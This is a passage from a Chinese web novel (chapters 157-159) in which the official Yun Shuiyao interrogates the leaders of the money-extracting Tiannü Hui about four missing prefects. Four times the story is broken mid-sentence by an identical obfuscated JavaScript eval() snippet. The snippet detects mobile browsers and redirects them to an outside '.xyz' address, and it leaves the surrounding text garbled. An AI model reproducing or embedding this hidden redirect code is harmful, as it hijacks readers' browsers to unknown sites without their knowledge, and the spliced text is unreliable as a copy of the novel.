“这……一个女孩是美还是丑,这是有目共睹的,圣女和天女也是根据各人的容貌做出公平判断,不会误判的。云大人,您一定要加入天女会,这样您会在圣女和天女的带领下,变得越来越善良,越来越好看。而且,只要消费八百两,您还能成为花仙子。” 云水谣忍住笑道:“谢谢你给我成为花仙子的机会,但我现在还是想先把人做好。” “花仙子只是一个称号,不是真正的仙女,跟好好做人不冲突。” “我知道,咱们先别说这个事了。” 云水谣又仔细观察了地面,想找几只动物。 过了一会,她在草丛中发现了两只蝼蛄,便站在附近听它们说话。 只听一只蝼蛄道:“家里来了好多陌生人,不知道他们来干什么。” 另一只蝼蛄道:“他们还不知道我们主人的可怕之处,上次来这里的一个陌生男人,好像就吐血而亡了。” “她们应该不会死吧,毕竟有这么多人。” “可能吧,可是我们主人也有很多个帮手啊。” 听到这里,云水谣不寒而栗。蝼蛄所说的“上次来这里的陌生男人”,莫非就是董刺史?他吐血而亡了? 平淮山是用什么办法让董刺史吐血而亡的?当时平淮山不是带着董盛年离开了吗? 但蝼蛄又说到,它们主人有很多个帮手。也许,平淮山杀人不需要自己动手,她也养了死士。或者,人就是其他几个天女所杀。 平淮山负责引开董盛年,而其他几个圣女和天女,就躲在一边,趁董刺史进来时,杀了他。 可是,她们为什么要杀董刺史?董刺史可是朝廷正三品官员,如果不是有什么深仇大恨,或是被卷入了朝中的斗争,她们哪有胆子对刺史动手? 看来,这天女会也没有表面上看上去那么简单。 如果说,她们只是跟董家有仇,为何不杀了董姑娘?她们一开始接触到的就是董盛年,有很多机会杀她。 这足以证明,天女会对付董刺史,并不是有什么私仇。 云水谣想再听这两只蝼蛄说话,可这两只蝼蛄却专心吃东西,不再说话了。 云水谣问董盛年:“你确定五月二十五号那天,你来这里时,只有平淮山一个人?” 董盛年道:“我只见到淮山姐姐一个人,也没看到其他人。而且我一来,淮山姐姐就拉我离开了。” “当时你过来时,只有平淮山的屋子是开着门的?” “对,另外两间屋子一直关着。” 也就是说,其他人很有可能躲在另外两间屋子里,董盛年也没有去查看过。 董盛年这里是问不出什么了,云水谣问旁边的衙役:“之前董刺史刚失踪时,天女会的首领是不是都被传到公堂去问过话?” 衙役道:“是的,不过她们五个都说,那天没见过董刺史。” “你们去传唤天女会的另外四个首领,让她们也来公堂对证。” “是。” 董盛年说道:“云大人,您为何要找她们问话?她们都是清白的。” “既然是清白的,问几句话怕什么?” 董盛年想想,这倒也是,也就不再反对了。 云水谣带着董盛年一干人等回了衙门,把平淮山从客房叫回公堂。 等了一会,天女会另外四名首领也到了。 那四名首领也长得很美,可谓是如花似玉,各有千秋。 她们看见云水谣,也没有躲闪和畏惧的神色,显然是老江湖了。 云水谣先问了她们的姓名,圣女叫江蓼烟,其他几名天女分别叫秦灵儿、曲晨思、成渺渺。 云水谣问道:“你们是何来历,多大年纪,来幽州多久了,为何成立天女会?” 圣女江蓼烟答道:“回大人,我们都是沂州人,父母是镖师。我们几人从小就认识。我们的父母去世后,我们便结伴来到幽州,已有七八年了。我们的年纪都在二十三到二十五岁之间。 至于为何成立天女会,是因为我们感到寂寞,希望多交几个朋友。但我们相信相由心生,不愿意跟丑女一起玩,所以成立了一个只看容貌的组织。我们跟那些漂亮的姑娘一起玩,非常开心。我们也会一起做善事,我觉得这个组织很有意义。” 云水谣道:“既然只是交个朋友,为何要高价卖东西给成员?” “我们也要生活,才偶尔做些首饰、护肤品、香囊卖给成员,不为挣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14994559|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钱,只是想把美好的东西跟众人分享。” 这番话听得云水谣想笑,不过她忍住了。 云水谣道:“你们如果缺钱,应该找份正经的营生,而不是利用成员们对你们的信任,大肆搜刮她们的钱财。” 此话一出,圣女和天女们还没说什么,一旁站着的董盛年先说话了:“大人,您这话不对。什么叫大肆搜刮我们的钱财?几位姐姐卖的东西都很不错,我们很喜欢,才愿意一再购买。我们都是自愿的,不存在强买强卖。” 云水谣道:“自愿?那天女会的成员,有谁是不自愿购买的吗?” 董盛年道:“没有。” “每个成员都自愿购买,你不觉得很奇怪吗?一个正常的店铺,难道能让踏入的每一个客人都自愿购买?” “可几位姐姐不是开店的,跟正常店铺自然不一样。购买她们的东西,是我们友情的证明。” “那你们这些成员,怎么不做些东西卖给她们?只能她们卖给你们?” “这是因为天女会的规定不允许,只有圣女和天女才能售卖东西,其他成员如果卖东西,属于违反规则,要被开除出去的。这也是为了方便管理,因为成员们做的东西未必就好,如果拿来卖,是对其他人不负责任。” “你自己听听这像话吗?天女会的规矩比律法还厉害?只能上级给下级售卖东西,下级不能反向售卖,这还不叫强买强卖?如果物品的交易纯粹出于友情的话,她们为什么不成本价卖给你们呢?偏偏要高价出售?” “这……我们就乐意高价买,因为那些东西值这个价。” “值这个价?那把你买的东西跟正常的商品比对一下,看看孰优孰劣。本官可以请专业的人来鉴定。” “无需鉴定,几位姐姐卖的东西没问题。” 云水谣摇了摇头,不打算继续纠结这个问题。 如果能证明天女会的首领是杀人犯的话,天女会就不攻自破,这些成员也就不会盲目相信这些首领了。 因此,云水谣问江蓼烟等人:“五月二十五号,也就是董刺史失踪那日,你们在哪里?” “回大人,我们都在自己家里。” “可有人能证明?” “没有。” “董刺史很有可能是在平淮山的宅子里遇害的,你们可有线索?” 其他人纷纷道:“我们不知道。”“大人是如何得出这些结论的?” 平淮山更是叫屈道:“大人,董刺史从未来过我家。您说他遇害了,可有证明?” 董盛年道:“大人,我爹真的遇害了?” 说着,她就哭了起来。 云水谣道:“肃静。本官并未说董大人一定遇害了,只是根据现有的情况推测罢了。江蓼烟、秦灵儿、曲晨思、成渺渺,你们四人既然说案发当天待在自己家里,但又没有人证,就摆脱不了嫌疑。 也许,你们当天都躲在平淮山家里,等平淮山带着董姑娘离开后,董刺史随后赶来,你们一起出现,杀了他。当然,也不是说一定是你们做的,但总归是有嫌疑。所以,本官要将你们在衙门留一段时间,再派人去你们的住所搜查。” 157.施压 圣女江蓼烟道:“大人尽管搜查,我们是清白的,我们不可能把董刺史的人或尸体藏在家里。” 天女秦灵儿道:“大人,虽然我们那天没有人证,但肯定有许多人都证明不了自己那天一定在家里,您为何只拘留我们,不去找其他人?” 云水谣道:“最有可能躲在平淮山家里的,就是你们,所以本官自然首先怀疑你们。你们无需担忧,如果真是清白的,本官也不可能一直留你们在这里。来人,去这几位姑娘家里搜查。” 云水谣派了四队衙役,分头去搜查。平淮山家里之前已经看过了,没发现什么线索,所以就无需衙役再去了。 搜查需要一些时间,云水谣就让人搬来凳子,让天女会的几位首领坐下了。 毕竟现在没有证据证明她们有罪,云水谣还是要对她们客气一些。 至于董盛年,已经提供不了更多线索了,留在公堂上也只会添乱,云水谣就先让她回房了。 这时,有几个衙役跑过来,对云水谣道:“大人,外面聚集了很多女孩,要官府释放天女会的首领。如果不放,她们就不走。” 云水谣有些头疼,道:“你们去跟那些姑娘说,本官请几位首领来调查,只是例行公事,不会屈打成招,请她们放心。只要证明几位首领没问题,本官就会释放她们。” “大人,我们已经解释过了,好话歹话都说尽了,可那些姑娘都不肯走。还有一些姑娘跪在大门口,说是不释放圣女和天女们,她们就跪死在这儿。” 云水谣有些无语。 这个天女会,凝聚力真是太强了。一个组织做到如此程度,可以说是非常成功的。当然,对官府来说就不是那么回事了。 她庆幸这几个首领不是想造反,否则那些天女会的成员一定会跟着她们攻打衙门的。 云水谣决定亲自走出去看看。 在州衙门口,大约聚集了两百多个女孩,还有一些是年轻的妇人。她们或站或跪,也有的抱着孩子静坐,规模很大,场面也很混乱。 只见长史吕民杰也站在门口,神情有些疲惫和颓丧,显然是已经经过长时间的劝说,再也劝不动了。 一个紫衣姑娘站在正中间,振振有词:“天女会的首领是我见过的最纯洁善良的人,官府怎么可以抓她们?” 长史吕民杰有些烦躁,喝道:“你闭嘴!” 谁知,这紫衣姑娘毫不畏惧,反而站到了吕民杰面前,双手叉腰,更加气愤地说道:“你这个是非不分的走狗!” 说着,她还推搡了吕民杰几下。 云水谣赶紧让人把这紫衣姑娘拉开,皱眉道:“成何体统?殴打朝廷命官,可是要入罪的。” 谁知,长史吕民杰赔罪道:“大人恕罪,这紫衣女孩是我妹妹,她也是天女会的成员。” 云水谣只好无奈地笑了一下。 还有一些女孩跟这紫衣少女一样,激动地说着什么。但她们七嘴八舌的,也听不太清。 云水谣大声道:“都安静!前任刺史失踪,很可能跟天女会有关。你们在没有证据的情况下,竟敢聚众闹事。若真查明天女会的首领有罪,你们这些瞎起哄的,也要吃不了兜着走!” 闻言,那些女孩安静了下来,有些害怕。 但有一些年长的妇女胆子大点,站到了前面。 有个妇女说道:“天女会的首领是好是坏,我们心中自有判断。民意也非常重要,大人总不能无视我们这么多人的意见吧?” 其他人起哄道: “就是,圣女和天女们明明就是好人,根本不可能跟董刺史失踪案有关!” “我们不相信!请官府释放天女会的各位首领!” 云水谣道:“本官已经在查了,会尽快给个结果。你们只管待在这里反而误事,天女会首领就算没有别的罪名,但煽动群众闹事这一条可免不了。” 闻言,那些姑娘们都开始犹豫。她们怕给天女会首领带来麻烦,因此都各自散了。 云水谣松了一口气,觉得有些头晕。她回到后堂,休息片刻。 大约一个时辰后,搜查天女会首领家宅的衙役们都回来了。 云水谣便回到公堂,问那些衙役:“你们可有什么发现?” “启禀大人,在几位姑娘的住处,没有找到董刺史,但找到了别的东西。” 说着,衙役呈上两块腰牌:“大人,这两块腰牌,一块是第一任失踪刺史陆文远大人的腰牌,是在圣女江蓼烟家里发现的;另一块是第二任失踪刺史林益恭林大人的腰牌,是在天女秦灵儿家里发现的。” 云水谣十分惊讶:“什么?!” 她赶紧接过腰牌,看了看,发现确实是前两任失踪刺史的腰牌。 没想到,她们的住处没有第四任刺史的尸体,反倒找到了前两任刺史的物件。 看来,四位刺史失踪的事,只怕都跟天女会脱不了干系。 云水谣命人撤去几位首领的凳子,让她们跪下,问道:“你们家里怎么会搜出前两任刺史的腰牌?是不是你们害死了他们?从实招来!” 圣女江蓼烟道:“大人,不是这样的。前两任刺史在位时,曾多次对天女会进行打压。我们为了天女会的发展,便给两任刺史送过礼,并详细解释了天女会的规章跟律法并无冲突,天女会并不会危害民间,反而有利于教化民众。 后来,我们终于获得了两任刺史的认可,他们便把自己的腰牌送给了我们,方便我们随时出入衙门,有什么事可以直接找他们商议。” 云水谣道:“这不可能,刺史的腰牌何等重要,怎么可能随便送给一个民间组织的负责人?可见你没说实话。” “大人,事实确实如此,民女没有半句虚言。” “是不是你们在家里谋害了两位刺史,所以他们的令牌才会掉在你们家?” “大人,绝无此事!我们只不过是几个弱女子,哪来的胆子谋害刺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14997958|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 史?而且谋害之后,毁尸灭迹也是个难题。再说,时间过去这么久了,就算当时留下什么痕迹,我们也有很长的时间来抹去所有痕迹,怎么会留下令牌这么大的破绽?” 江蓼烟此言,倒也能自圆其说。但是幽州四位刺史失踪,其中两位的令牌出现在她们家里,第四任董刺史最后出现的地方也是天女平淮山的家中。目前只有第三任赵刺史的失踪没有跟她们扯上关系。 种种迹象表明,她们绝不清白,肯定有什么事在瞒着云水谣。 因此,云水谣一拍惊堂木,道:“还敢狡辩?来人,将她们五人押下去用刑!” 听到要用刑,有两个天女忍不住了,使出了武功,挣脱了身边的衙役。 云水谣惊道:“你们有武功?既然如此,嫌疑更大了。” 这两位使用了武功的天女,有些懊悔,不再挣扎了。 圣女江蓼烟道:“大人,我们五人确实学过一些拳脚功夫,但我们并未用武功来对付刺史啊。再说,我们五人武功其实很低,大人您找人试一试就知道了。” 云水谣道:“武功低是可以伪装出来的,本官如何试?来人,点住她们的穴道,以免她们逃走,然后把刑具搬上来。” 几名侍卫出手,点住了这五人的穴道。这样,她们就算有功夫也使不出来。 衙役们先拿来了拶刑用的夹棍,夹她们五人的手指。 她们好像从未受过刑罚,都痛得脸色发白,流下冷汗。 秦灵儿先撑不住了,对其他几个首领道:“姐妹们,要不我们招了吧?手指要是夹废了太可惜了。” 圣女江蓼烟想了一下,点头道:“好吧。” 接着,江蓼烟忍痛对云水谣说道:“大人,别用刑了,我们愿意招。” 云水谣让人把刑具撤了,道:“说吧。” 江蓼烟道:“我们有前两任刺史的腰牌,是因为我们……我们跟两位刺史有那种关系。一开始天女会受到官府打压时,当时在任的还是陆文远陆刺史。我们给陆刺史送了礼,可他不要。我们又说,愿意把天女会收入的五分之一给他,他说他看不上这点小钱。 如果天女会还想在幽州生存下去,我们五人必须亲自伺.候他,而且必须随叫随到。我们虽然有些为难,但天女会是我们的心血,我们不想解散,因此便同意了。 于是,陆刺史就把他的腰牌给我们,我们五个每隔数日就要派一个人过去服侍他。他跟我们约定的地点是一个小巷子里比较偏僻的住宅,是他偷偷租下的,其他人不知道。我们去时,需要打扮成小厮,对守门的人出示陆刺史的腰牌,才能进去。 这种隐晦的关系,一直持续了七年,直到陆刺史突然失踪。我们当时松了一口气,觉得终于不需要用身体去换取生存的空间了。但我们不敢丢了陆刺史的腰牌,一来怕他突然回来,不好交代;二来也觉得可以用这块腰牌来谋利,说不定将来我们去了外地,可以拿陆文远的腰牌来唬人。” 158.代价 江蓼烟休息了片刻,接着说道:“谁知,没过多久,第二任刺史林益恭就上任了。他本就是幽州长史,在幽州的时间比陆刺史还长。他其实早就知道了陆刺史和我们之间的勾.当,但一直没说出来。 林益恭当了刺史后,也把我们五个叫过去,说我们必须像服.侍陆刺史那样服.侍他。否则,他可以巧立名目,将我们治罪,别说财产要充公,连命都会没有。 当时,我们在幽州苦心经营多年,财富与日俱增,更加不愿意失去了。因此,我们同意了林刺史的要求。林刺史也把他的腰牌给了我们,约定的地点也在之前陆刺史找的那个住宅里。 我们也无所谓了,只需要付出一点代价,就可以继续经营天女会。谁知,过了一个月左右,林刺史也失踪了。我们也留着林刺史的腰牌,觉得可能还有点用。 很快,第三任刺史赵仁顺上任了。我们以为自己要重复之前的命运,谁知这位赵刺史一心打仗,不太关心其他的事务,也没管过天女会的事,大部分时候在征兵和练兵。 虽然有很多百姓对他不满,但对我们来说,他在位倒是挺有利的,因为他不贪恋.女=色,也懒得管天女会敛财这种小事,连我们的面都没见过。他的心思在打仗上,我们天女会倒可以偷偷发展壮大。 但是,两个月后,赵刺史失踪了。过了几天,第四任刺史董商衡来了。他来了之后,先调查了一阵前几任刺史失踪的事,没有头绪,便开始忙其他公务了,还没有注意到天女会。 谁知,他女儿董盛年倒是注意到了,还很想加入。我们想着,董盛年是刺史千金,既有身份,又不缺钱财。如果她加入了,天女会就能多一个强大的保护伞。因此,我们便让她加入,还时常吹捧她,让她很愿意花钱。 由于董盛年跟我们交往过密,董刺史终于注意到了我们。他觉得天女会有些不对劲,但又很难用现有的律法来惩治我们。他为人正直,一切按律例办事,不像前两任刺史那样会编织罪名,威胁我们。 因此,他唯一能做的就是劝他女儿脱离天女会。可董盛年很相信我们,而且她在我们这里花了一千多两银子,已经有了花仙子的称号,她自然不愿意退出。 董刺史时不时地为这事跟她女儿吵架,有时候见到我们,也会叫我们别再蛊惑她女儿,但我们都用一些言辞搪塞过去。 反正我们天女会加入是自愿的,又没有通过什么非法的手段拘禁成员,她们愿意留下,谁也没办法。 关于董刺史失踪的事,我也不太清楚,就让平淮山来说吧。” 平淮山正在用布条包扎手上的伤口,包扎好后接着说道:“因为董盛年是天女会成员里身份最高的,我们很注重维持跟她的关系,时不时地就会单独邀请她去我们家里玩。五月二十四号那天,我给她送信,约她第二天来我家,我给她看个好玩的东西,就是之前提到过的那个双面绣摆件。 第二天早上,她来了我家,我才想起那个摆件在我另一个房子里,就带她从后门离开,去了另一处房子。后来,听说董刺史失踪了,我们都不知道怎么回事。 当时官府传我们过去问话,说董刺史很可能是在跟踪董姑娘的路上失踪的,既然董姑娘出现在我家,那我就有嫌疑。 我就让官差去我家查看,但他们没发现什么,我们几个就被释放了。 董盛年非常心急,从那以后,她就住在了董刺史的官舍里,也不来天女教的集会了。 所以,四位刺史的失踪,其实跟我们都没有关系。我们之所以有前两任刺史的腰牌,原因比较难以启齿,江蓼烟刚才也解释过了。” 云水谣道:“这么说,你们只是跟前两位刺史有那种关系,但他们的失踪跟你们无关?” 圣女江蓼烟道:“没错。” “之前本官在前两位刺史的官舍中发现了女人用的脂粉、头油等物,是不是你们的?” “对,有时候那两位刺史会让我们去官舍找他们,我们会自带脂粉、镜子、头油等东西,方便完事之后修整打扮一下。后来那些东西就一直放在他们房间的暗格里,免得带来带去的,太麻烦了。” “你们去官舍找他们,要如何避人耳目?” “他们有时候会忙到很晚,那时候衙门里没人了,他们会突然想起我们几个,派人送信过来,我们就派出一人过去找他们。由于天黑,也没人瞧见。平时他们若是离开衙门比较早,私.会的地点就在之前那个小巷子的宅院里。” “你们为了维持天女会,竟然愿意委身两任刺史长达七年?这不太合理。” “每个人想要的不一样,我们把天女会看得很重要,为了天女会不被解散,愿意付出任何代价。” 她们所说的话,倒也没有破绽。 但是一州刺史要求几个姑娘委身于自己这种事情,也不好胡乱推定,不能听她们的一面之词。 现在几位刺史都失踪了,也没法确定这几个女子所说的话的真假。 云水谣问道:“你们跟前两位刺史厮混的宅院在哪里?” 她们说了一个地址,在黑牛巷三号,云水谣对几个衙役道:“你们去查查黑牛巷三号的那处住宅,看现场的情况如何,还有那座宅子的主人是谁,是否被租赁了。” “是。” 第一任刺史陆文远是在一月二十号失踪的,第二任刺史林益恭是在三月一号失踪的。 云水谣接着问道:“前两任刺史失踪的时间分别是一月二十号和三月一号,那两个日子你们在做什么?” 圣女江蓼烟道:“那两天我们刚好在组织成员们聚会,聚会的日子我们都有记下来,大人可派人去我家找天女会的札记。” 云水谣便叫几个衙役重新去江蓼烟家中,找找天女会的札记。 念在她们招供得很快,云水谣找了个大夫,医治她们的手指,给她们上药。 她们都对云水谣道谢:“多谢大人……” 云水谣道:“不用谢本官,如果你们是清白的,本官自然把你们完完整整地送出去。如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15007181|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 果不是,今日夹手指之刑只是个开始。” 几个女子神色有些畏惧,纷纷说道:“大人放心,我们是清白的。”“我们只是求财,不会害命的。”“对,而且我们也没有伤害刺史的能力。” 等她们包扎好后,云水谣让她们先去一间干净的牢房休息。 同时,云水谣派人去找二十个天女会成员来,要问她们一些事情。 一个时辰后,二十个天女会成员已经找齐。 云水谣问她们:“一月二十号和三月一号,也就是陆刺史和林刺史失踪的这两个日子,天女会是不是在聚会?当时所有的圣女和天女都在吗?” 成员们纷纷答道:“是的,我们在聚会,一月二十号那天我们一起吃水果、喝茶;三月一号那天我们一起去郊外踏青。”“当时圣女和几位天女都在,无一人缺席。” 云水谣问:“除了你们之外,还有别人可以作证吗?” 天女会成员们说道: “一月二十号那天,因天气寒冷,圣女和天女们是叫水果店的老板送水果上门的。老板和七八个伙计一起送水果到圣女江蓼烟的住所,他们可以作证,当天圣女和天女们是在的。” “三月一号那天,我们踏青结束,是在望江楼吃的饭,望江楼的伙计可以证明。” 云水谣又派人去找了她们提到过的伙计,证实她们说的话是真的。 接着,去江蓼烟家找札记的衙役们回来了,把天女会的札记拿了回来。云水谣翻看了一下,上面记载着,一月二十号那天和三月一号那天,天女会举办了聚会。聚会地点、聚会人数、聚会内容等都有简单的记录,跟那二十个天女会成员所说一致。 人证物证皆有,证明在两位刺史失踪当日,天女会首领没有作案时间。 不过,这只能证明不是她们本人作的案,是不是她们找其他人做的,尚未可知。 所以,仅凭这些证据,还不能释放她们。 更何况,她们还涉嫌用身体行贿长官,以达到继续用天女会敛财的目的。光是这一条,就足以将她们治罪。 那二十名天女会成员又开始请求云水谣释放圣女和天女,云水谣道:“目前她们嫌疑未清,而且她们已经承认了其他罪状。目前案件未明,暂时不能把她们的供词公布。总之,本官暂时拘押她们,完全合乎律法。 你们不用着急,本官不会判冤假错案。” 见云水谣耐心解释,且有理有据,她们也不再说什么了,离开了衙门。 又过了半个时辰,去黑牛巷三号调查的衙役回来了,对云水谣说道:“大人,天女会首领所说的那间屋子,确实有,我们去的时候上了锁。我们把锁砸开,走到里面,里面没人,看起来有点脏,好像几个月没打扫了。 我们打听了房屋的主人是谁,得知屋主是一个叫袁晚景的生意人,这栋房屋并未出租。我们派了一个衙役去找袁晚景了,其他人先回来向您禀告。” 云水谣点头道:“里面可有发现女人的用品?” 159.叫屈 “衣柜里有一些女人的衣服,梳妆台上有一些梳子、胭脂水粉之类的东西,已经生了灰尘。这些物证我们都带回来了。” 说着,衙役们把衣服、脂粉等物呈上。 云水谣把天女会的首领们从牢里带出来,把这些物证放到她们面前,问道:“这是你们的东西吗?” 圣女江蓼烟道:“是的,这些物件是我们放在黑牛巷的房屋里的。平时我们经常要去那间屋子找两位刺史,所以就放了一些换洗衣服和脂粉在那里。” 云水谣刚才并没说这些东西是从黑牛巷的房子里搜出来的,但江蓼烟也能准确说出来,看来这些确实是她们的东西。 但这只能证明她们去过黑牛巷那间屋子,不能证明前两位刺史真的在那间屋子跟她们私.会。 云水谣问道:“刚才你们说,陆刺史和林刺史曾跟你们私,会,除了这些物证和腰牌外,还有其他证据吗?” 江蓼烟道:“大人,已经有这么多证据了,还要什么证据?” “这腰牌未必是他们所赠,你们也许是偷来的、捡来的或是通过其他渠道得到。现在陆、林两位刺史已经失踪,本官不能仅凭你们的一面之词,就判定他们私德有亏,勒索平民。” “大人,我们委实拿不出更多证据了。堂堂刺史的腰牌,我们要如何偷?他们又怎么会随便遗失,让我们捡到?除了他们赠送给我们之外,根本没有别的渠道。我们没必要用自己的名节去污蔑他们。” 江蓼烟这番话说得恳切,还带有几分委屈,看起来像是实话。 不过,云水谣可不会凭借犯人的表情和语气断案。善于伪装的人,她见得多了。 云水谣道:“也许你们跟刺史失踪案没有关系,但你们之前已经承认,为了用天女会来敛财,不得不委身于刺史。此种行为终究说不上正当,天女会也没有你们宣传的那么大义凛然。 天女会是一个精心包装的骗局,这些年赚了很多不正当的钱财。这属于经济案件,本官暂时没有精力审理,你们先回牢房住着,等候下次提审。” “是。” 五位首领只好回到了牢房。她们知道,天女会恐怕不能继续办下去了。她们心中自然十分难受,但也无计可施。 云水谣看着她们哀切的表情,却觉得有些讽刺。她们只在意自己的天女会,可这么多年来,很多姑娘被她们欺骗,花高价买一些没用的东西,跟自己的家人矛盾频频,她们可有考虑过这些成员? 说到底,她们只想赚钱,是不是正当的钱她们不在意。这些天女会的成员把几位首领当成仙女一般尊敬,但在这几位首领眼里,这些成员恐怕都跟地里的韭菜差不多。 这天女会也算是一大毒瘤,云水谣是打算铲除的,不过要等忙完刺史失踪案之后。 云水谣记得,有一名衙役去寻找黑牛巷三号的屋主袁晚景了。据天女会首领所言,黑牛巷三号是她们跟两位刺史私.会之所。一会等房主到来,可以问问怎么回事。 这房屋虽然在别人名下,但对于刺史而言,要借用别人家的房子是轻而易举的,甚至别人会主动把房子奉上。 过了一会,屋主袁晚景也来了。 袁晚景是个较胖的老年人,面相有几分圆滑。 云水谣问道:“袁晚景,黑牛巷三号的房屋是你的吗?” 袁晚景道:“是。” “那间房子平时是谁在住?” “无人居住。” “本官已在那里发现了别人的衣物首饰,而且对方也承认了使用过那间房,你还抵赖?是不是想受刑?” 袁老板有些害怕,道:“大人恕罪……刚才老朽不是有意隐瞒的。其实,在陆文远陆刺史在任的时候,老朽为了让他多关照我家的生意,就把黑牛巷三号的房屋借给他使用了。 从那以后,老朽也不到那儿去,不知道陆刺史拿那间屋子做什么了。至于那间屋子里为何会有首饰,老朽也不知,也许是陆刺史家人的也未可知。” 云水谣问道:“你把钥匙交给陆刺史了?” “对。” “他可有归还?” “没有。” “一直没有吗?陆刺史失踪后,你有没有去向他的仆人或亲信索要房屋的钥匙?” 袁老板道:“没有。虽说那间房是借给陆刺史使用的,但老朽怎么敢随便收回来?陆刺史虽然失踪,但我想着,他也许哪一天就回来了,到时候还能接着用我家的房屋。 只要他接着用,就会想起我们家,进而多关照一二。所以,为了我自己考虑,我也不会把房屋收回来的。” 云水谣问道:“那钥匙是否被其他人拿走了?” “这我不知道,反正钥匙不在我手上。” “陆刺史失踪后,你也一直没打扫过那间屋子?” “是,我没去过。” 袁老板的证词,倒是跟屋子的情况对上了。那间屋子有许多灰尘,显然是几个月没人打扫和居住了,看来袁老板交出钥匙后,真的没去过。 而袁老板自然也不知道钥匙可能被第二任刺史林益恭拿走了,林益恭也用那间房子继续跟天女会的首领们私.会。 袁老板这边已经没什么有用的信息了,云水谣便让他走了。 陆文远、林益恭两位刺史跟天女会首领的风流韵事,在这个案子中只是细枝末节。哪怕将来两位刺史被找回来了,这件事云水谣也没资格审理,而是要交给大理寺定夺。 陆、林两位刺史以权谋私,违规使用百姓房屋,还恐吓美貌女子,令她们不得不委身于自己,这肯定是要被治罪的。 这两位刺史若是侥幸没死,回来也是要吃牢饭的。 公堂里的人都退下了,只有柳依依在一边做纪录。 云水谣对柳依依道:“官员要从百姓那里得到什么,可真容易啊。不论是钱,还是房子,还是美.色,要什么有什么。我们也应当引以为戒。” 柳依依道:“是。大人是个正直的清官,自然跟陆文远、林益恭两位刺史不同。” 云水谣道:“不过那两位刺史是否真的跟天女会的首领们私.会,还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15015556|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有待商榷。违规使用了百姓的房屋倒是板上钉钉的。” 这时,丫鬟们捧着银耳汤进来,给云水谣和柳依依各喝了一碗。 她们喝完后,丫环们把碗端下去。 云水谣喝了银耳汤,感觉心情稍微放松了一些。 柳依依道:“大人,你说那几位刺史还活着吗?” “我不知道……如果死了,为何没人发现尸体?如果活着,为何没人来索要赎金?刺史是一州长官,值钱得很。尤其是陆文远和林益恭,都是世家子弟,他们的家族想必愿意花一大笔钱赎回他们。” 柳依依道:“我猜,是不是绑匪不知道几位刺史的身份,只是看他们穿得好,以为只是普通的有钱人,就把他们绑走了。绑回去之后才发现这几个人都是一州刺史,他们觉得惹不起,也不敢来官府索要赎金,怕被官府灭了。所以,他们只能偷偷养着这几位刺史,不敢杀,也不敢放回。” “你说的有几分道理,但是他们绑错一个还有可能,怎么会接连绑错四个?” “会不会不是同一批绑匪?也许是四批绑匪绑走了四位大人?” “幽州的绑匪这么多吗?” “我不知道啊。” 云水谣和柳依依都忍不住笑了。 云水谣叫来幽州长史吕民杰,问道:“幽州附近有多少土匪?是不是土匪掳走了前几任刺史?” 吕民杰道:“土匪具体的数字不太清楚,幽州比较有名的山寨有黑龙寨、弯月寨和飞鹰寨,其他的小山寨大约有十几个。这段时间,我们也调查过土匪这条线,好像没听说过他们绑走了什么官员。 这些山寨都存在好多年了,做的生意半黑半白,以求财为主,平时不会主动招惹官府的。便是□□品的小官,他们也不会掳走,更何况是刺史。” 云水谣也觉得吕长史说的有道理。土匪虽然凶恶,但也想长久地活下去。如果主动绑架朝廷命官,这是嫌命太长了。 柳依依问道:“有没有可能,他们不小心绑走了前几任刺史,但不敢声张?” 吕长史道:“应该不会认错。这些山寨的消息很灵通,一州之中重要的官员,他们都有画像的。” 云水谣道:“莫非是瀚海国做的?” 吕长史道:“前几任刺史中,只有第三任赵刺史是在两国边境失踪的。其他几位刺史都是在比较繁华的地方失踪,如果是瀚海国,应该没法不着痕迹地掳走其他三名刺史。” 云水谣沉思道:“照这么看,也许四名刺史失踪的原因不一样。” “下官等也是这样猜测的。对了,还有一个重要的人证忘记跟您说了。” “谁?” “是第二任林刺史的侍卫,白东亭。他目睹了林刺史被掳走的全过程。要不要现在叫他过来?” 